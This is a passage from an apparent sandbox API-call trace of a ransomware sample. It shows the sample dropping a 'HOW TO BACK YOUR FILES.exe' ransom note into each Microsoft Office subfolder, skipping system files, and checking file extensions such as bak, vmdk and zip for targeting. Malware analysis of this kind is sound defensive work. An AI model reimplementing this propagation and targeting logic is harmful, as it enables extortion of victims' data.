Flags=0x0, Size=0x72) returned 0x502ba8 [0152.322] lstrcatW (in: lpString1="Sounds", lpString2="\\" | out: lpString1="Sounds\\") returned="Sounds\\" [0152.322] lstrcatW (in: lpString1="Sounds\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sounds\\HOW TO BACK YOUR FILES.exe") returned="Sounds\\HOW TO BACK YOUR FILES.exe" [0152.322] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.339] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2=".") returned 1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2="..") returned 1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2="windows") returned -1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2="bootmgr") returned 1 [0152.339] lstrcmpiW (lpString1="ToolBMPs", lpString2="temp") returned 1 [0152.340] lstrcmpiW (lpString1="ToolBMPs", lpString2="pagefile.sys") returned 1 [0152.340] lstrcmpiW (lpString1="ToolBMPs", lpString2="boot") returned 1 [0152.340] lstrcmpiW (lpString1="ToolBMPs", lpString2="ids.txt") returned 1 [0152.340] lstrcmpiW (lpString1="ToolBMPs", lpString2="ntuser.dat") returned 1 [0152.340] lstrcmpiW (lpString1="ToolBMPs", lpString2="perflogs") returned 1 [0152.340] lstrcmpiW (lpString1="ToolBMPs", lpString2="MSBuild") returned 1 [0152.340] lstrlenW (lpString="ToolBMPs") returned 8 [0152.340] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ToolBMPs" | out: lpString1="ToolBMPs") returned="ToolBMPs" [0152.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552338 [0152.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53c8a0 [0152.340] lstrcatW (in: lpString1="ToolBMPs", lpString2="\\" | out: lpString1="ToolBMPs\\") returned="ToolBMPs\\" [0152.340] lstrcatW (in: lpString1="ToolBMPs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ToolBMPs\\HOW TO BACK YOUR FILES.exe") returned="ToolBMPs\\HOW TO BACK YOUR FILES.exe" [0152.340] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.417] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2=".") returned 1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2="..") returned 1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2="windows") returned -1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2="bootmgr") returned 1 [0152.417] lstrcmpiW (lpString1="ToolData", lpString2="temp") returned 1 [0152.418] lstrcmpiW (lpString1="ToolData", lpString2="pagefile.sys") returned 1 [0152.418] lstrcmpiW (lpString1="ToolData", lpString2="boot") returned 1 [0152.418] lstrcmpiW (lpString1="ToolData", lpString2="ids.txt") returned 1 [0152.418] lstrcmpiW (lpString1="ToolData", lpString2="ntuser.dat") returned 1 [0152.418] lstrcmpiW (lpString1="ToolData", lpString2="perflogs") returned 1 [0152.418] lstrcmpiW (lpString1="ToolData", lpString2="MSBuild") returned 1 [0152.418] lstrlenW (lpString="ToolData") returned 8 [0152.418] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ToolData" | out: lpString1="ToolData") returned="ToolData" [0152.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552350 [0152.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53c920 [0152.418] lstrcatW (in: lpString1="ToolData", lpString2="\\" | out: lpString1="ToolData\\") returned="ToolData\\" [0152.418] lstrcatW (in: lpString1="ToolData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ToolData\\HOW TO BACK YOUR FILES.exe") returned="ToolData\\HOW TO BACK YOUR FILES.exe" [0152.418] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.421] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2=".") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="..") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="windows") returned -1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="bootmgr") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="temp") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="pagefile.sys") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="boot") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="ids.txt") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="ntuser.dat") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="perflogs") returned 1 [0152.421] lstrcmpiW (lpString1="ToolIcons", lpString2="MSBuild") returned 1 [0152.422] lstrlenW (lpString="ToolIcons") returned 9 [0152.422] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ToolIcons" | out: lpString1="ToolIcons") returned="ToolIcons" [0152.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552368 [0152.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53c9a0 [0152.422] lstrcatW (in: lpString1="ToolIcons", lpString2="\\" | out: lpString1="ToolIcons\\") returned="ToolIcons\\" [0152.422] lstrcatW (in: lpString1="ToolIcons\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ToolIcons\\HOW TO BACK YOUR FILES.exe") returned="ToolIcons\\HOW TO BACK YOUR FILES.exe" [0152.422] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.438] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0152.438] lstrcmpiW (lpString1="XML Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.438] lstrcmpiW (lpString1="XML Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2=".") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="..") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="windows") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="bootmgr") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="temp") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="pagefile.sys") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="boot") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="ids.txt") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="ntuser.dat") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="perflogs") returned 1 [0152.439] lstrcmpiW (lpString1="XML Files", lpString2="MSBuild") returned 1 [0152.439] lstrlenW (lpString="XML Files") returned 9 [0152.439] lstrcpyW (in: lpString1=0x241e8ac, lpString2="XML Files" | out: lpString1="XML Files") returned="XML Files" [0152.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552380 [0152.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53ca20 [0152.439] lstrcatW (in: lpString1="XML Files", lpString2="\\" | out: lpString1="XML Files\\") returned="XML Files\\" [0152.439] lstrcatW (in: lpString1="XML Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="XML Files\\HOW TO BACK YOUR FILES.exe") returned="XML Files\\HOW TO BACK YOUR FILES.exe" [0152.439] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.448] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0152.448] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0152.448] ReleaseMutex (hMutex=0xec) returned 1 [0152.448] CloseHandle (hObject=0xec) returned 1 [0152.449] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0152.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b6a8 | out: hHeap=0x4f0000) returned 1 [0152.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned 53 [0152.449] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8CDA262A43A7707F399CF5A16B4EABEC") returned 0xec [0152.449] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.449] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0152.449] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.449] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.450] GetLastError () returned 0x0 [0152.450] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.450] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.451] CloseHandle (hObject=0xf4) returned 1 [0152.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.451] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd30985e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd30985e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.451] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.452] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.452] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.452] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd30985e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd30985e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.452] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.452] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.452] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.452] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.452] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30985e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd30985e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.452] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.452] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2=".") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="..") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="windows") returned -1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="bootmgr") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="temp") returned -1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="pagefile.sys") returned -1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="boot") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="ids.txt") returned 1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="ntuser.dat") returned -1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="perflogs") returned -1 [0152.452] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="MSBuild") returned -1 [0152.452] lstrlenW (lpString="InfoPathOMFormServices") returned 22 [0152.452] lstrcpyW (in: lpString1=0x241e8b4, lpString2="InfoPathOMFormServices" | out: lpString1="InfoPathOMFormServices") returned="InfoPathOMFormServices" [0152.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b6a8 [0152.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9a) returned 0x522a38 [0152.453] lstrcatW (in: lpString1="InfoPathOMFormServices", lpString2="\\" | out: lpString1="InfoPathOMFormServices\\") returned="InfoPathOMFormServices\\" [0152.453] lstrcatW (in: lpString1="InfoPathOMFormServices\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="InfoPathOMFormServices\\HOW TO BACK YOUR FILES.exe") returned="InfoPathOMFormServices\\HOW TO BACK YOUR FILES.exe" [0152.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.461] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2=".") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="..") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="windows") returned -1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="bootmgr") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="temp") returned -1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="pagefile.sys") returned -1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="boot") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="ids.txt") returned 1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="ntuser.dat") returned -1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="perflogs") returned -1 [0152.461] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="MSBuild") returned -1 [0152.461] lstrlenW (lpString="InfoPathOMV12") returned 13 [0152.461] lstrcpyW (in: lpString1=0x241e8b4, lpString2="InfoPathOMV12" | out: lpString1="InfoPathOMV12") returned="InfoPathOMV12" [0152.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552398 [0152.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x5141b8 [0152.462] lstrcatW (in: lpString1="InfoPathOMV12", lpString2="\\" | out: lpString1="InfoPathOMV12\\") returned="InfoPathOMV12\\" [0152.462] lstrcatW (in: lpString1="InfoPathOMV12\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="InfoPathOMV12\\HOW TO BACK YOUR FILES.exe") returned="InfoPathOMV12\\HOW TO BACK YOUR FILES.exe" [0152.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.468] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="..") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="windows") returned -1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="bootmgr") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="temp") returned -1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="pagefile.sys") returned -1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="boot") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ids.txt") returned 1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ntuser.dat") returned -1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="perflogs") returned -1 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="MSBuild") returned -1 [0152.468] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29 [0152.468] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll" [0152.468] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29 [0152.468] lstrlenW (lpString="Athena865") returned 9 [0152.468] lstrcmpiW (lpString1="opath.dll", lpString2="Athena865") returned 1 [0152.468] lstrlenW (lpString=".dll") returned 4 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".dll") returned 1 [0152.468] lstrlenW (lpString=".lnk") returned 4 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".lnk") returned 1 [0152.468] lstrlenW (lpString=".ini") returned 4 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".ini") returned 1 [0152.468] lstrlenW (lpString=".sys") returned 4 [0152.468] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".sys") returned 1 [0152.469] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29 [0152.469] lstrlenW (lpString="bak") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0152.469] lstrlenW (lpString="ba_") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0152.469] lstrlenW (lpString="dbb") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0152.469] lstrlenW (lpString="vmdk") returned 4 [0152.469] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0152.469] lstrlenW (lpString="rar") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0152.469] lstrlenW (lpString="zip") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0152.469] lstrlenW (lpString="tgz") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0152.469] lstrlenW (lpString="vbox") returned 4 [0152.469] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0152.469] lstrlenW (lpString="vdi") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0152.469] lstrlenW (lpString="vhd") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0152.469] lstrlenW 